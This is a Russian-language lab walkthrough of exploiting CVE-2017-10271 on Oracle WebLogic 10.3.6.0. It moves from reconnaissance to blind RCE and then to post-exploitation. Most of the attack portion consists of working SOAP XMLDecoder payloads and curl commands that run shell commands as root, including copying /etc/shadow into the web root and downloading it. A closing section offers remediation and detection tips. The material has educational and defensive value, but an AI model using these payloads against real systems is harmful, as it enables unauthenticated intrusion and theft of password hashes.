
Пошаговое лабораторное руководство по эксплуатации CVE-2017-10271 (десериализация WebLogic XMLDecoder с удаленным выполнением кода) с ручной сборкой полезной нагрузки, обходом слепого RCE и техниками пост-эксплуатации, включая проверку привилегий и эксфильтрацию данных.

AdminServer, принадлежащий base_domain, работающий в Development Mode).7001.http, t3, iiop, ldap, snmp.t3 через порт 7001. Эта конфигурация по умолчанию несет высокий риск, если версия WebLogic не исправлена от уязвимостей, связанных с Java-десериализацией через RMI (Remote Method Invocation).http на порту 7001, что делает его восприимчивым к сканированию каталогов для поиска чувствительных конечных точек, таких как /console/login/LoginForm.jsp.После того как мы определили открытые порты цели, мы используем nmap для сканирования порта и выяснения его запущенного сервиса.

Таким образом, на цели запущен HTTP-сервис с версией Oracle WebLogic Server 10.3.6.0 — хорошо известный корпоративный Java-сервер приложений, известный серией критических CVE (например, десериализация, обход аутентификации). Однако только этой информации недостаточно, чтобы определить, к какой именно уязвимости восприимчива система. Нам необходимо просканировать глубже сопутствующие компоненты веб-сервисов.
Приступим к идентификации её чувствительных конечных точек с помощью инструмента dirsearch. Поскольку WebLogic работает на платформе Java, файлы .jsp и .xml являются наиболее чувствительными целями. Мы сосредоточимся на конечных точках, возвращающих код состояния 200.
dirsearch -u http://192.168.3.137:7001/ -e jsp,xml,html

/console/login/LoginForm.jsp: Портал входа в веб-интерфейс консоли администрирования WebLogic. Это важная цель для сценариев перебора учетных данных по умолчанию или уязвимостей обхода аутентификации (например, CVE-2020-14882)./bea_wls_internal/: Каталог внутреннего веб-приложения WebLogic Server по умолчанию. Этот компонент обеспечивает доступ к статическим системным файлам и взаимодействие с ними./wls-wsat/CoordinatorPortType: Это самое критическое обнаружение. Наличие этого пути с кодом состояния 200 OK подтверждает, что компонент Web Services Atomic Transactions (wls-wsat) включен и готов к приему данных./uddiexplorer и /uddi/uddilistener: Это компонент UDDI Explorer (Universal Description, Discovery, and Integration), интегрированный по умолчанию в WebLogic Server для управления и регистрации веб-сервисов. Этот компонент чрезвычайно известен уязвимостью SSRF (Server-Side Request Forgery) — CVE-2014-4210. Атакующий может использовать интерфейс поиска публичных реестров UDDI по адресу /uddiexplorer/SearchPublicRegistries.jsp, чтобы заставить сервер WebLogic отправлять произвольные HTTP-запросы во внутреннюю сеть бэкенда.⇒ Вывод: Сосуществование /wls-wsat (риск RCE через XMLDecoder) и /uddiexplorer (риск SSRF) указывает на то, что поверхность атаки этого сервера WebLogic чрезвычайно широка.
После выявления двух независимых поверхностей атаки, сосуществующих на сервере WebLogic 10.3.6.0, мы анализируем два направления:
/uddiexplorer:
/wls-wsat:
⇒ Решение: В модели кибератаки RCE всегда является конечной целью, поскольку обеспечивает прямой и полный контроль над системой (Full System Compromise). Как только достигнута возможность RCE, эксплуатация SSRF через приложение UDDI становится избыточной. Это связано с тем, что из оболочки RCE мы можем активно выполнять запросы к внутренней сети прямым, гибким и более мощным способом (используя системные команды, такие как curl, wget), не ограничиваясь параметрами интерфейса UDDI.
Поэтому с точки зрения логики приоритизации эксплойтов мы решаем исключить второстепенный путь (SSRF на /uddiexplorer) и полностью сосредоточиться на исследовании: удаленное выполнение кода (RCE) через уязвимость десериализации XMLDecoder на /wls-wsat/CoordinatorPortType.
Корневая уязвимость CVE-2017-10271 возникает из-за того, что класс WorkContextXmlInputAdapter в WebLogic использует объект java.beans.XMLDecoder для разбора данных в теге <work:WorkContext>. По умолчанию этот класс XMLDecoder автоматически создает экземпляр любого Java-класса, определенного в форме XML-тега. Отсюда мы выполняем верификацию на основе пошагового взаимодействия с поведением системы.
Чтобы быстро проверить фактическое активное состояние этого сервлета, отправляем обычный HTTP GET пробный запрос:
curl -i -s http://192.168.3.137:7001/wls-wsat/CoordinatorPortType
Ответ возвращает HTTP/1.1 200 OK вместе с классом реализации CoordinatorPortTypePortImpl, что подтверждает успешную загрузку сервлета в память JVM.
Поскольку сервлеты веб-сервисов предназначены для обработки данных SOAP XML методом POST, мы выполняем сравнительное тестирование с двумя POST-запросами, чтобы продемонстрировать конвейер обработки данных системы:
1. Стандартный SOAP POST-запрос
Мы отправляем стандартную SOAP XML-оболочку (с полными пространствами имен, но без содержимого для выполнения), чтобы протестировать нормальную способность парсера к разбору.
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>soapenv:Header/soapenv:Body/</soapenv:Envelope>"

Cannot find dispatch method).Анализ:
Сервер имеет исправно работающий XML-читатель на POST-порту, готовый принимать и декодировать всю структуру XML-дерева, отправленную пользователем. Это подтверждает, что конвейер данных от клиента в память WebLogic работает в полном объеме.
2. Некорректный XML POST-запрос
Затем мы намеренно ломаем структуру XML (например, отсутствие пространств имен), чтобы наблюдать механизм обработки исключений парсера.
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "soapenv:Envelopesoapenv:Headerwork:WorkContextinvalid_xml_structure</work:WorkContext></soapenv:Header></soapenv:Envelope>"

com.ctc.wstx.exc.WstxParsingException: Undeclared namespace prefix "soapenv".Анализ:
com.ctc.wstx) для разбора.Комбинация практических экспериментальных результатов и анализа системной архитектуры — от сервлета wls-wsat, принимающего необработанные пакеты через POST-порт, отсутствия WAF/Фильтра корректности на уровне парсера, до выброса необработанных ошибок Java XML Reader — подтверждает, что сервер работает с чрезвычайно чувствительной структурой сервиса, которая находится непосредственно в рамках CVE-2017-10271 (десериализация XMLDecoder).
Поскольку механизм разбора XMLDecoder по умолчанию не имеет никаких фильтров контроля классов, прием сервером необработанных POST-данных без санитизации является идеальным входом, позволяющим нам разработать полезные нагрузки, которые напрямую вызывают системные объекты выполнения Java на следующем шаге.
Поскольку сервер WebLogic 10.3.6.0 работает в старой среде Java и не применяет строгих фильтров контроля классов для XMLDecoder, атакующий может напрямую внедрять исполняемые Java-объекты.
Стандартным классом для выполнения команд в Java является java.lang.ProcessBuilder. Мы приступаем к отображению этой логики инициализации Java-объекта в формат XML, совместимый с XMLDecoder:
<void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void method="start"/>Когда системная команда выполняется через ProcessBuilder, сервер WebLogic запускает команду в фоне на ОС и возвращает только код ошибки HTTP 500 (он не выводит результат команды непосредственно на экран HTTP-ответа). Этот механизм называется сопоставлением веб-приложений — все веб-серверы работают таким образом. Каталог war/ является корневым каталогом документов (Document Root) этого приложения. Любой файл, находящийся в war/, может быть доступен по короткому URL.
⇒ Чтобы обойти слепой RCE, мы должны найти физический путь — поскольку команда id > ... выполняется в операционной системе, она требует реальный путь.
Анализ с использованием белого ящика для поиска каталога /war
Чтобы найти фактический физический путь приложения bea_wls_internal, загружаемого внутри контейнера, мы выполняем системный поисковый запрос непосредственно с хост-машины:

Результаты
/root/Oracle/Middleware/wlserver_10.3/server/lib/bea_wls_internal.war (Исходный архивный файл библиотеки)./root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal (Распакованный активный каталог приложения во временном разделе _WL_internal сервера AdminServer). Углубившись в этот активный каталог, мы находим подкаталог, содержащий статические файлы: /9j4dqk/war/. Это абсолютный корневой каталог веб-приложения (Web Root), в котором атакующий имеет права на запись для записи статических файлов, чтобы отобразить результаты выполнения RCE.Мышление: Спроектируйте команду для перенаправления вывода id в статический файл rce.txt в указанном выше каталоге: id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt
Из приведенного выше анализа мы знаем, что класс Java XMLDecoder будет автоматически создавать экземпляр и выполнять любой объект, определенный в форме XML-тегов. Для вызова команд операционной системы в Java стандартным классом является java.lang.ProcessBuilder.
Процесс отображения эквивалентного Java-кода в XML-структуру XMLDecoder:
Эквивалентный Java-код:
String[] cmd = {"/bin/bash", "-c", "id > /root/.../war/rce.txt"};
new ProcessBuilder(cmd).start();
Отображение в теги XML XMLDecoder:
Создайте файл exploit.xml на машине Kali Linux, содержащий полную структуру SOAP:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
С машины Kali Linux отправьте XML-файл, содержащий полезную нагрузку эксплойта, на целевую конечную точку:
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d @exploit.xml

Получите доступ к только что созданному статическому файлу rce.txt в корневом каталоге веб-приложения:
curl -s http://192.168.3.137:7001/bea_wls_internal/rce.txt

Успешная эксплуатация RCE. Результат команды id подтверждает, что процесс WebLogic работает с привилегиями root.
Результат выполнения команды id возвращает uid=0(root). Это доказывает, что процесс сервера WebLogic работает непосредственно с наивысшими привилегиями root операционной системы. Атакующий получает полный контроль над системой без необходимости дополнительных шагов по повышению привилегий.
Атакующий может легко прочитать конфиденциальные системные файлы, такие как /etc/shadow. Мы создаем файл exploit_shadow.xml и отправляем его через XML-полезную нагрузку, чтобы сервер WebLogic выполнил её автоматически. Это заставляет сервер прочитать файл и направить его в корневой каталог документов (Document root), чтобы к нему можно было получить доступ из внешнего URL.
cat > exploit_shadow.xml << 'EOF'
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>cat /etc/shadow > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shadow.txt</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
EOF
Затем отправьте полезную нагрузку и прочитайте файл извне:
curl -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" -d @exploit_shadow.xml
curl -s http://192.168.3.137:7001/bea_wls_internal/shadow.txt

Весь список учетных записей системы вместе с хэшами паролей полностью раскрыт.
Поскольку контейнер работает в изолированной внутренней сетевой среде (NAT/Bridge хост-машины Docker), установка обратного соединения (Reverse Shell) напрямую на машину Kali за пределами локальной сети может столкнуться с проблемами маршрутизации. В реальной среде (продакшн) атакующий может полностью настроить обратную оболочку, если сервер имеет исходящее подключение к Интернету.
Однако возможность удаленного выполнения кода (RCE) непосредственно с привилегиями root и возможность интерактивного чтения/записи файлов через корневой каталог веб-приложения достаточны для подтверждения полной компрометации системы.
Уязвимость десериализации XMLDecoder (CVE-2017-10271) на этой системе WebLogic оценивается на самом критическом уровне риска (Critical):
Для полного устранения этой критической уязвимости безопасности администраторам необходимо немедленно выполнить следующие меры:
Срочный приоритет (краткосрочный):
wls-wsat.war в пути установки WebLogic и перезапустите сервис, чтобы полностью устранить эту поверхность атаки.oracle) и ни в коем случае не запускать процесс с привилегиями root.Долгосрочный приоритет (многоуровневая защита):
/wls-wsat/, содержащих характерные XML-теги XMLDecoder, такие как <java>, <object>, <void>, <class>, <method>.| Компонент Java | Соответствующий XML-тег |
|---|
Объявление класса ProcessBuilder | <void class="java.lang.ProcessBuilder"> |
Массив параметров String[] | <array class="java.lang.String" length="3"> |
| Элементы массива (индекс 0, 1, 2) | <void index="0"><string>...</string></void> |
Вызов метода .start() | <void method="start"/> |
| Критерий | Оценка | Детали |
|---|
| Оценка CVSS | 9.8 (Critical) | Чрезвычайно высокий показатель воздействия. |
| Аутентификация | Не требуется | Для эксплуатации не требуется учетная запись или какая-либо аутентификация. |
| Сложность | Очень низкая | Требуется только отправка одного HTTP POST-запроса с вредоносной полезной нагрузкой SOAP XML. |
| Полученные привилегии | root | Получен полный контроль над контейнером с наивысшими системными привилегиями. |
| Боковое перемещение | Высокое | Скомпрометированный контейнер можно использовать как точку опоры для атаки на другие контейнеры внутренней сети и физический хост-сервер. |